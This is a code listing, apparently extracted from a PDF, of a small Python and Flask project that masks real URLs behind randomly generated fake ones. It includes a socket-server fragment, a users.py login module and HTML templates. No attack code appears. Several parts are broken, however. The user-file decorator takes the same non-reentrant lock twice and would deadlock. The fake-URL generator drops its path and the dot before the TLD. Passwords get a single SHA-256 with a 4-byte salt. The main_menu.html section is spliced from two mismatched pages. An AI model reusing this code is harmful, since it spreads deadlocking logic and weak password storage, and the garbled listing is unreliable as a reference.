def retrieve_url(self, urls: UrlDict, fake_url: bytes) -> str:
    """
    Input: urls (UrlDict) - URL mappings, fake_url (bytes) -
    URL to look up
    Output: str - Real URL or debug message
    Purpose: Get real URL for given fake URL
    Description: Retrieves the real URL mapped to the given fake URL
    """
```

src/socket_wrapper - server.py

```
    return urls.get(fake_url.decode(), "<real_url_here> (debug)")

@manage_urls
def add_url(self, urls: UrlDict, real_url: bytes) -> bytes:
    """
    Input: urls (UrlDict) - URL mappings, real_url (bytes) -
    URL to add
    Output: bytes - Response with generated fake URL
    Purpose: Add new URL mapping
    Description: Generates fake URL and creates mapping to real URL
    """
    fake_url = self.generate_fake_url()
    urls[fake_url] = real_url.decode()
    return f"URL~{fake_url}".encode()

@manage_urls
def remove_url(self, urls: UrlDict, fake_url: bytes) -> bytes:
    """
    Input: urls (UrlDict) - URL mappings, fake_url (bytes) -
    URL to remove
    Output: bytes - Success or error message
    Purpose: Remove URL mapping
    Description: Removes mapping for given fake URL if it exists
    """
    not_found_err_msg = "ERR~1~url not found"
    val = urls.pop(fake_url.decode(), not_found_err_msg)
    if "ERR" in val:
        return val.encode()
    return b"ACK"

@manage_urls
def get_real_url(self, urls: UrlDict, fake_url: bytes) -> bytes:
    """
    Input: urls (UrlDict) - URL mappings, fake_url (bytes) -
    URL to look up
    Output: bytes - Real URL or error message
    Purpose: Get real URL for fake URL
    Description: Retrieves real URL mapped to given fake URL
    """
    not_found_err_msg = "ERR~2~url not found"
    val = urls.get(fake_url.decode(), not_found_err_msg)
    return b'URL~' + val.encode()

def generate_fake_url(self) -> str:
    """
    Input: None
    Output: str - Generated fake URL
    Purpose: Generate new fake URL
    Description: Creates random fake URL using predefined components
    """
    tlds = ["com", "net", "org", "info", "biz"]
    words = ["tech", "cloud", "data", "hub", "media", "net",
             "shop", "world", "global", "secu"]
```

src/socket_wrapper - server.py

```
random_string = lambda length: "".join(
    random.choices(string.ascii_lowercase, k=length)
)

domain =
f"{random.choice(words)}{random_string(3)}{random.choice(tlds)}"
path =
f"/{random.choice(words)}{random_string(2)}/{random_string(4)}"

return f"https://{domain}"
```

```
if __name__ == "__main__":
    test = Server()
    test.send_by_size(b'')
```


src - users.py

```
import json
import threading
import os
import re
from functools import wraps
from hashlib import sha256
from typing import Dict, Tuple, Callable, TypeVar, Any, cast

T = TypeVar('T')
UserData = Tuple[str, str] # (hashed_password, salt)
UserDict = Dict[str, UserData]

def manage_users(func: Callable[..., T]) -> Callable[..., T]:
    """
    Input: func (Callable) - Function to decorate
    Output: Callable - Wrapped function with user management
    Purpose: Manage user data file access
    Description: Decorator that handles loading and saving user
    data with thread safety
    """
    @wraps(func)
    def wrapper(*args: Any, **kwargs: Any) -> T:
        with Users.lock:
            users = load_users()

            result = func(users, *args, **kwargs)

            with Users.lock:
                json.dump(users, open('users.json', 'w'))

            return result

    return wrapper

class Users:
    """Class for managing user authentication and data."""

    lock = threading.Lock()

    @staticmethod
    @manage_users
    def does_user_exists(users: UserDict, user: str) -> bool:
        """
        Input: users (UserDict) - User dictionary, user (str) -
        Username to check
        Output: bool - True if user exists, False otherwise
        Purpose: Check if user exists
        Description: Verifies if username exists in user database
        """
        return user in users

    @staticmethod
    @manage_users
```

src - users.py

```
def check_sign_in(users: UserDict, username: str, password:
str) -> bytes:
    """
    Input: users (UserDict) - User dictionary, username (str) -
    Username to check,
           password (str) - Password to verify
    Output: bytes - Success or error message
    Purpose: Verify user login credentials
    Description: Checks username existence and password correctness
    """
    # Check for errors
    if not Users.does_user_exists(username): # type: ignore
        to_send = b"ERR~4~Username not found"
    elif users[username][0] != Users._hash(password +
Users.get_salt(username)): # type: ignore
        to_send = b"ERR~4~wrong password"
    else:
        to_send = b"ACK"
    return to_send

@staticmethod
@manage_users
def get_salt(users: UserDict, username: str) -> str:
    """
    Input: users (UserDict) - User dictionary, username (str) -
    Username to get salt for
    Output: str - User's salt or empty string if user not found
    Purpose: Retrieve user's salt
    Description: Gets the salt used for password hashing for
    the given user
    """
    try:
        return users[username][1]
    except KeyError:
        return "" # If user doesn't exist it doesn't matter
        what we return

@staticmethod
@manage_users
def sign_up(users: UserDict, username: str, password: str,
cpassword: str, salt: str) -> bytes:
    """
    Input: users (UserDict) - User dictionary, username (str) -
    Username to register,
           password (str) - Password to set, cpassword (str) -
    Password confirmation,
           salt (str) - Salt for password hashing
    Output: bytes - Success or error message
    Purpose: Register new user
    Description: Creates new user account with password after
    validation
    """
    # Check for errors
```

src - users.py

```
if Users.does_user_exists(username): # type: ignore
    to_send = b"ERR~3~username already exists"
elif password != cpassword:
    to_send = b"ERR~3~passwords aren't identical"
elif not is_valid(username):
    to_send = b"ERR~3~Please enter a valid email!"
else:
    users[username] = (Users._hash(password + salt), salt)
    to_send = b"ACK"
```

```
return to_send
```

```
@staticmethod
```

```
def create_salt() -> str:
```

```
    """
```

```
    Input: None
```

```
    Output: str - Generated salt string
```

```
    Purpose: Generate random salt
```

```
    Description: Creates a random hexadecimal salt for password
    hashing
```

```
    """
```

```
    return os.urandom(4).hex()
```

```
@staticmethod
```

```
def _hash(to_hash: str) -> str:
```

```
    """
```

```
    Input: to_hash (str) - String to hash
```

```
    Output: str - Hashed string
```

```
    Purpose: Create password hash
```

```
    Description: Creates SHA-256 hash of input string
```

```
    """
```

```
    return sha256(to_hash.encode()).hexdigest()
```

```
def clear(self) -> None:
```

```
    """
```

```
    Input: None
```

```
    Output: None
```

```
    Purpose: Clear user data
```

```
    Description: Removes the users data file
```

```
    """
```

```
    os.remove("users.json")
```

```
def load_users() -> UserDict:
```

```
    """
```

```
    Input: None
```

```
    Output: UserDict - Dictionary of user data
```

```
    Purpose: Load user database
```

```
    Description: Loads user data from JSON file or returns empty
    dict if file not found
```

```
    """
```

```
    try:
```

```
        with open('users.json', 'r') as file:
```

```
            return json.load(file)
```

src - users.py

```
except (json.JSONDecodeError, FileNotFoundError):  
    return {}
```

```
def is_valid(email: str) -> bool:
```

```
    """
```

```
    Input: email (str) - Email address to validate
```

```
    Output: bool - True if valid email, False otherwise
```

```
    Purpose: Validate email format
```

```
    Description: Checks if email matches valid email format using regex
```

```
    """
```

```
    return
```

```
    re.match(r"^[A-Za-z_0-9\.]+@[A-Za-z_0-9\.]+\.[A-Za-z_0-9]+",  
    email) is not None
```

ui - add_url.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>Add URL</title>
  <style>
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }

    body {
      font-family: 'Segoe UI', Tahoma, Geneva, Verdana,
      sans-serif;
      line-height: 1.6;
      padding: 2rem;
      background-color: #f5f5f5;
      color: #333;
    }

    .container {
      max-width: 600px;
      margin: 0 auto;
      background-color: white;
      padding: 2rem;
      border-radius: 10px;
      box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
    }

    h2 {
      color: #2c3e50;
      margin-bottom: 1.5rem;
      text-align: center;
      font-size: 2rem;
    }

    form {
      display: flex;
      flex-direction: column;
      gap: 1rem;
      margin-bottom: 2rem;
    }

    label {
      font-weight: 600;
      color: #34495e;
    }

    input[type="text"] {
      padding: 0.8rem;
```

ui - add_url.html

```
border: 2px solid #e0e0e0;
border-radius: 5px;
font-size: 1rem;
transition: border-color 0.3s ease;
}

input[type="text"]:focus {
  border-color: #3498db;
  outline: none;
}

input[type="submit"] {
  background-color: #3498db;
  color: white;
  padding: 0.8rem;
  border: none;
  border-radius: 5px;
  font-size: 1rem;
  cursor: pointer;
  transition: background-color 0.3s ease;
}

input[type="submit"]:hover {
  background-color: #2980b9;
}

.flash {
  padding: 1rem;
  border-radius: 5px;
  margin-bottom: 1rem;
}

.flash.error {
  background-color: #fee2e2;
  border: 1px solid #ef4444;
  color: #991b1b;
}

.flash.success {
  background-color: #dcfce7;
  border: 1px solid #22c55e;
  color: #166534;
}

.back-link {
  display: inline-block;
  text-decoration: none;
  color: #666;
  margin-top: 1rem;
  transition: color 0.3s ease;
}

.back-link:hover {
```

ui - add_url.html

```
        color: #333;
    }

    @media (max-width: 480px) {
        body {
            padding: 1rem;
        }

        .container {
            padding: 1rem;
        }

        h2 {
            font-size: 1.5rem;
        }
    }
</style>
</head>
<body>
    <div class="container">
        <h2>Add URL</h2>
        <form method="POST">
            <label for="url">Enter URL:</label>
            <input type="text" id="url" name="url"
                placeholder="https://example.com" required>
            <input type="submit" value="Submit">
        </form>

        {% with messages = get_flashed_messages(with_categories=true) %}
            {% if messages %}
                <div>
                    {% for category, message in messages %}
                        <div class="flash {{ category }}">{{
                            message }}</div>
                    {% endfor %}
                </div>
            {% endif %}
        {% endwith %}

        <a href="main_menu" class="back-link">← Return to Main Menu</a>
    </div>
</body>
</html>
```

ui - get_real_url.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>Get Real URL</title>
  <style>
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }

    body {
      font-family: 'Segoe UI', Tahoma, Geneva, Verdana,
      sans-serif;
      line-height: 1.6;
      padding: 2rem;
      background-color: #f5f5f5;
      color: #333;
    }

    .container {
      max-width: 600px;
      margin: 0 auto;
      background-color: white;
      padding: 2rem;
      border-radius: 10px;
      box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
    }

    h2 {
      color: #2c3e50;
      margin-bottom: 1.5rem;
      text-align: center;
      font-size: 2rem;
    }

    form {
      display: flex;
      flex-direction: column;
      gap: 1rem;
      margin-bottom: 2rem;
    }

    label {
      font-weight: 600;
      color: #34495e;
    }

    input[type="text"] {
      padding: 0.8rem;
```


ui - get_real_url.html

```
border: 2px solid #e0e0e0;
border-radius: 5px;
font-size: 1rem;
transition: border-color 0.3s ease;
}

input[type="text"]:focus {
  border-color: #3498db;
  outline: none;
}

input[type="submit"] {
  background-color: #3498db;
  color: white;
  padding: 0.8rem;
  border: none;
  border-radius: 5px;
  font-size: 1rem;
  cursor: pointer;
  transition: background-color 0.3s ease;
}

input[type="submit"]:hover {
  background-color: #2980b9;
}

.flash {
  padding: 1rem;
  border-radius: 5px;
  margin-bottom: 1rem;
}

.flash.error {
  background-color: #fee2e2;
  border: 1px solid #ef4444;
  color: #991b1b;
}

.flash.success {
  background-color: #dcf7ce;
  border: 1px solid #22c55e;
  color: #166534;
}

.back-link {
  display: inline-block;
  text-decoration: none;
  color: #666;
  margin-top: 1rem;
  transition: color 0.3s ease;
}

.back-link:hover {
```

ui - get_real_url.html

```
        color: #333;
    }

    @media (max-width: 480px) {
        body {
            padding: 1rem;
        }

        .container {
            padding: 1rem;
        }

        h2 {
            font-size: 1.5rem;
        }
    }
</style>
</head>
<body>
    <div class="container">
        <h2>Get Real URL</h2>
        <form method="POST">
            <label for="url">Enter URL:</label>
            <input type="text" id="url" name="url"
                placeholder="https://example.com" required>
            <input type="submit" value="Get Real URL">
        </form>

        {% with messages = get_flashed_messages(with_categories=true) %}
            {% if messages %}
                <div>
                    {% for category, message in messages %}
                        <div class="flash {{ category }}">{{
                            message }}</div>
                    {% endfor %}
                </div>
            {% endif %}
        {% endwith %}

        <a href="main_menu" class="back-link">← Return to Main Menu</a>
    </div>
</body>
</html>
```

ui - login.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>Login</title>
  <style>
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }

    body {
      font-family: 'Segoe UI', Tahoma, Geneva, Verdana,
      sans-serif;
      line-height: 1.6;
      padding: 2rem;
      background-color: #f5f5f5;
      color: #333;
      min-height: 100vh;
      display: flex;
      align-items: center;
      justify-content: center;
    }

    .container {
      width: 100%;
      max-width: 400px;
      background-color: white;
      padding: 2.5rem;
      border-radius: 10px;
      box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
    }

    h2 {
      color: #2c3e50;
      margin-bottom: 1.5rem;
      text-align: center;
      font-size: 2rem;
    }

    form {
      display: flex;
      flex-direction: column;
      gap: 1.2rem;
      margin-bottom: 1.5rem;
    }

    .form-group {
      display: flex;
      flex-direction: column;

```

ui - login.html

```
        gap: 0.5rem;
    }

    label {
        font-weight: 600;
        color: #34495e;
    }

    input[type="text"],
    input[type="password"] {
        padding: 0.8rem;
        border: 2px solid #e0e0e0;
        border-radius: 5px;
        font-size: 1rem;
        transition: border-color 0.3s ease;
    }

    input[type="text"]:focus,
    input[type="password"]:focus {
        border-color: #3498db;
        outline: none;
    }

    input[type="submit"] {
        background-color: #3498db;
        color: white;
        padding: 0.8rem;
        border: none;
        border-radius: 5px;
        font-size: 1rem;
        cursor: pointer;
        transition: background-color 0.3s ease;
        margin-top: 0.5rem;
    }

    input[type="submit"]:hover {
        background-color: #2980b9;
    }

    .flash {
        padding: 1rem;
        border-radius: 5px;
        margin-bottom: 1rem;
    }

    .flash.error {
        background-color: #fee2e2;
        border: 1px solid #ef4444;
        color: #991b1b;
    }

    .flash.success {
        background-color: #dcf7ce;
    }
```

ui - login.html

```
border: 1px solid #22c55e;
color: #166534;
}

.signup-link {
  display: block;
  text-align: center;
  text-decoration: none;
  color: #666;
  margin-top: 1rem;
  transition: color 0.3s ease;
}
```

```
.signup-link:hover {
  color: #3498db;
}
```

```
@media (max-width: 480px) {
  body {
    padding: 1rem;
  }

  .container {
    padding: 1.5rem;
  }

  h2 {
    font-size: 1.5rem;
  }
}
```

</style>

</head>

<body>

<div class="container">

<h2>Login</h2>

<form method="POST">

<div class="form-group">

<label for="username">Username:</label>

<input type="text" id="username" name="username"
required>

</div>

<div class="form-group">

<label for="password">Password:</label>

<input type="password" id="password"
name="password" required>

</div>

<input type="submit" value="Login">

</form>

{% with messages = get_flashed_messages(with_categories=true) %}

{% if messages %}

<div>

{% for category, message in messages %}

ui - login.html

```

        <div class="flash {{ category }}">{{
            message }}</div>
    {% endfor %}
</div>
{% endif %}
{% endwith %}

<a href="signup" class="signup-link">I don't have an account</a>
</div>
</body>
</html>
```

ui - main_menu.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>Main Menu</title>
  <style>
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }

    body {
      font-family: 'Segoe UI', Tahoma, Geneva, Verdana,
      sans-serif;
      line-height: 1.6;
      padding: 2rem;
      background-color: #f5f5f5;
      color: #333;
      min-height: 100vh;
      display: flex;
      align-items: center;
      justify-content: center;
    }

    .container {
      width: 100%;
      max-width: 500px;
      background-color: white;
      padding: 2.5rem;
      border-radius: 10px;
      box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
    }

    h2 {
      color: #2c3e50;
      margin-bottom: 2rem;
      text-align: center;
      font-size: 2rem;
    }

    .menu-list {
      list-style: none;
      display: flex;
      flex-direction: column;
      gap: 1rem;
    }

    .menu-item {
      width: 100%;
    }
  </style>
</head>
<body>
  <div class="container">
    <h2>Main Menu</h2>
    <ul class="menu-list">
      <li><a href="#home">Home</a></li>
      <li><a href="#about">About</a></li>
      <li><a href="#services">Services</a></li>
      <li><a href="#contact">Contact</a></li>
    </ul>
  </div>
</body>
</html>
```

ui - main_menu.html

```
.menu-link {
  display: block;
  text-decoration: none;
  color: white;
  background-color: #3498db;
  padding: 1rem 1.5rem;
  border-radius: 5px;
  text-align: center;
  transition: background-color 0.3s ease, transform 0.2s ease;
}

.menu-link:hover {
  background-color: #2980b9;
  transform: translateY(-2px);
}

.menu-link.remove {
  background-color: #e74c3c;
}

.menu-link.remove:hover {
  background-color: #c0392b;
}

.menu-link.info {
  background-color: #2ecc71;
}

.menu-link.info:hover {
  background-color: #27ae60;
}

.flash {
  padding: 1rem;
  border-radius: 5px;
  margin-bottom: 1rem;
}

.flash.error {
  background-color: #fee2e2;
  border: 1px solid #ef4444;
  color: #991b1b;
}

.flash.success {
  background-color: #dcfce7;
  border: 1px solid #22c55e;
  color: #166534;
}

@media (max-width: 480px) {
  body {
```


ui - main_menu.html

```
        padding: 1rem;
    }

    .container {
        padding: 1.5rem;
    }

    h2 {
        font-size: 1.5rem;
        margin-bottom: 1.5rem;
    }
}
</style>
</head>
<body>
    <div class="container">
        <h2>Main Menu</h2>
        <ul class="menu-list">
            <li class="menu-item">
                <a href="{{ url_for('add_url') }}"
                    class="menu-link">Add URL</a>
            </li>
            <li class="menu-item">
                <a href="{{ url_for('remove_url') }}"
                    class="menu-link remove">Remove URL</a>
            </li>
            <li class="menu-item">
                <a href="{{ url_for('get_real_url') }}"
                    class="menu-link">Get Real URL</a>
            </li>
            <li class="menu-item">
                <a href="{{ url_for('req_info') }}"
                    class="menu-link info">Request Info</a>
            </li>
        </ul>

        {% with messages = get_flashed_messages(with_categories=true) %}
            {% if messages %}
                <div>
                    {% for category, message in messages %}
                        <div class="flash {{ category }}">{{
                            message }}</div>
                    {% endfor %}
                </div>
            {% endif %}
        {% endwith %}
    </div>
</body>
</html>
```

ui - remove_url.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>Remove URL</title>
  <style>
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }

    body {
      font-family: 'Segoe UI', Tahoma, Geneva, Verdana,
      sans-serif;
      line-height: 1.6;
      padding: 2rem;
      background-color: #f5f5f5;
      color: #333;
    }

    .container {
      max-width: 600px;
      margin: 0 auto;
      background-color: white;
      padding: 2rem;
      border-radius: 10px;
      box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
    }

    h2 {
      color: #2c3e50;
      margin-bottom: 1.5rem;
      text-align: center;
      font-size: 2rem;
    }

    form {
      display: flex;
      flex-direction: column;
      gap: 1rem;
      margin-bottom: 2rem;
    }

    label {
      font-weight: 600;
      color: #34495e;
    }

    input[type="text"] {
      padding: 0.8rem;
```

ui - remove_url.html

```
border: 2px solid #e0e0e0;
border-radius: 5px;
font-size: 1rem;
transition: border-color 0.3s ease;
}

input[type="text"]:focus {
  border-color: #3498db;
  outline: none;
}

input[type="submit"] {
  background-color: #e74c3c;
  color: white;
  padding: 0.8rem;
  border: none;
  border-radius: 5px;
  font-size: 1rem;
  cursor: pointer;
  transition: background-color 0.3s ease;
}

input[type="submit"]:hover {
  background-color: #c0392b;
}

.flash {
  padding: 1rem;
  border-radius: 5px;
  margin-bottom: 1rem;
}

.flash.error {
  background-color: #fee2e2;
  border: 1px solid #ef4444;
  color: #991b1b;
}

.flash.success {
  background-color: #dcf2f2;
  border: 1px solid #22c55e;
  color: #166534;
}

.back-link {
  display: inline-block;
  text-decoration: none;
  color: #666;
  margin-top: 1rem;
  transition: color 0.3s ease;
}

.back-link:hover {
```

ui - remove_url.html

```
        color: #333;
    }

    @media (max-width: 480px) {
        body {
            padding: 1rem;
        }

        .container {
            padding: 1rem;
        }

        h2 {
            font-size: 1.5rem;
        }
    }
</style>
</head>
<body>
    <div class="container">
        <h2>Remove URL</h2>
        <form method="POST">
            <label for="url">Enter URL:</label>
            <input type="text" id="url" name="url"
                placeholder="https://example.com" required>
            <input type="submit" value="Remove URL">
        </form>

        {% with messages = get_flashed_messages(with_categories=true) %}
            {% if messages %}
                <div>
                    {% for category, message in messages %}
                        <div class="flash {{ category }}">{{
                            message }}</div>
                    {% endfor %}
                </div>
            {% endif %}
        {% endwith %}

        <a href="main_menu" class="back-link">← Return to Main Menu</a>
    </div>
</body>
</html>
```

ui - req_info.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>Request Info</title>
  <style>
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }

    body {
      font-family: 'Segoe UI', Tahoma, Geneva, Verdana,
      sans-serif;
      line-height: 1.6;
      padding: 2rem;
      background-color: #f5f5f5;
      color: #333;
    }

    .container {
      max-width: 600px;
      margin: 0 auto;
      background-color: white;
      padding: 2rem;
      border-radius: 10px;
      box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
    }

    h2 {
      color: #2c3e50;
      margin-bottom: 1.5rem;
      text-align: center;
      font-size: 2rem;
    }

    form {
      display: flex;
      flex-direction: column;
      gap: 1rem;
      margin-bottom: 2rem;
    }

    label {
      font-weight: 600;
      color: #34495e;
    }

    input[type="text"] {
      padding: 0.8rem;
```

ui - req_info.html

```
border: 2px solid #e0e0e0;
border-radius: 5px;
font-size: 1rem;
transition: border-color 0.3s ease;
}

input[type="text"]:focus {
  border-color: #3498db;
  outline: none;
}

input[type="submit"] {
  background-color: #3498db;
  color: white;
  padding: 0.8rem;
  border: none;
  border-radius: 5px;
  font-size: 1rem;
  cursor: pointer;
  transition: background-color 0.3s ease;
}

input[type="submit"]:hover {
  background-color: #2980b9;
}

.flash {
  padding: 1rem;
  border-radius: 5px;
  margin-bottom: 1rem;
  white-space: pre-line;
}

.flash.error {
  background-color: #fee2e2;
  border: 1px solid #ef4444;
  color: #991b1b;
}

.flash.success {
  background-color: #dcfce7;
  border: 1px solid #22c55e;
  color: #166534;
}

.back-link {
  display: inline-block;
  text-decoration: none;
  color: #666;
  margin-top: 1rem;
  transition: color 0.3s ease;
}
```

ui - req_info.html

```
.back-link:hover {
    color: #333;
}

@media (max-width: 480px) {
    body {
        padding: 1rem;
    }

    .container {
        padding: 1rem;
    }

    h2 {
        font-size: 1.5rem;
    }
}
```

</style>

</head>

<body>

<div class="container">

<h2>Request Info</h2>

<form method="POST">

<label for="url">Enter URL:</label>

<input type="text" id="url" name="url"

placeholder="https://example.com" required>

<input type="submit" value="Submit">

</form>

{% with messages = get_flashed_messages(with_categories=true) %}

{% if messages %}

<div>

{% for category, message in messages %}

<div class="flash {{ category }}">{{

message | nl2br }}

{% endfor %}

</div>

{% endif %}

{% endwith %}

<- Return to Main Menu

</div>

</body>

</html>

ui - signup.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>Sign Up</title>
  <style>
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }

    body {
      font-family: 'Segoe UI', Tahoma, Geneva, Verdana,
      sans-serif;
      line-height: 1.6;
      padding: 2rem;
      background-color: #f5f5f5;
      color: #333;
      min-height: 100vh;
      display: flex;
      align-items: center;
      justify-content: center;
    }

    .container {
      width: 100%;
      max-width: 400px;
      background-color: white;
      padding: 2.5rem;
      border-radius: 10px;
      box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
    }

    h2 {
      color: #2c3e50;
      margin-bottom: 1.5rem;
      text-align: center;
      font-size: 2rem;
    }

    form {
      display: flex;
      flex-direction: column;
      gap: 1.2rem;
      margin-bottom: 1.5rem;
    }

    .form-group {
      display: flex;
      flex-direction: column;

```


ui - signup.html

```
    gap: 0.5rem;
}

label {
    font-weight: 600;
    color: #34495e;
}

input[type="text"],
input[type="password"] {
    padding: 0.8rem;
    border: 2px solid #e0e0e0;
    border-radius: 5px;
    font-size: 1rem;
    transition: border-color 0.3s ease;
}

input[type="text"]:focus,
input[type="password"]:focus {
    border-color: #3498db;
    outline: none;
}

input[type="submit"] {
    background-color: #27ae60;
    color: white;
    padding: 0.8rem;
    border: none;
    border-radius: 5px;
    font-size: 1rem;
    cursor: pointer;
    transition: background-color 0.3s ease;
    margin-top: 0.5rem;
}

input[type="submit"]:hover {
    background-color: #219a52;
}

.flash {
    padding: 1rem;
    border-radius: 5px;
    margin-bottom: 1rem;
}

.flash.error {
    background-color: #fee2e2;
    border: 1px solid #ef4444;
    color: #991b1b;
}

.flash.success {
    background-color: #dcfce7;
```

ui - signup.html

```
border: 1px solid #22c55e;
color: #166534;
}

.login-link {
  display: block;
  text-align: center;
  text-decoration: none;
  color: #666;
  margin-top: 1rem;
  transition: color 0.3s ease;
}
```

```
.login-link:hover {
  color: #3498db;
}
```

```
@media (max-width: 480px) {
  body {
    padding: 1rem;
  }

  .container {
    padding: 1.5rem;
  }

  h2 {
    font-size: 1.5rem;
  }
}
```

</style>

</head>

<body>

<div class="container">

<h2>Sign Up</h2>

<form method="POST">

<div class="form-group">

<label for="username">Username:</label>

<input type="text" id="username" name="username"
required>

</div>

<div class="form-group">

<label for="password">Password:</label>

<input type="password" id="password"
name="password" required>

</div>

<div class="form-group">

<label for="cpassword">Confirm Password:</label>

<input type="password" id="cpassword"
name="cpassword" required>

</div>

<input type="submit" value="Sign Up">

</form>

ui - signup.html

```
{% with messages = get_flashed_messages(with_categories=true) %}
  {% if messages %}
    <div>
      {% for category, message in messages %}
        <div class="flash {{ category }}">{{
          message }}</div>
      {% endfor %}
    </div>
  {% endif %}
{% endwith %}
```

```
<a href="login" class="login-link">I already have an account</a>
```

```
</div>
```

```
</body>
```

```
</html>
```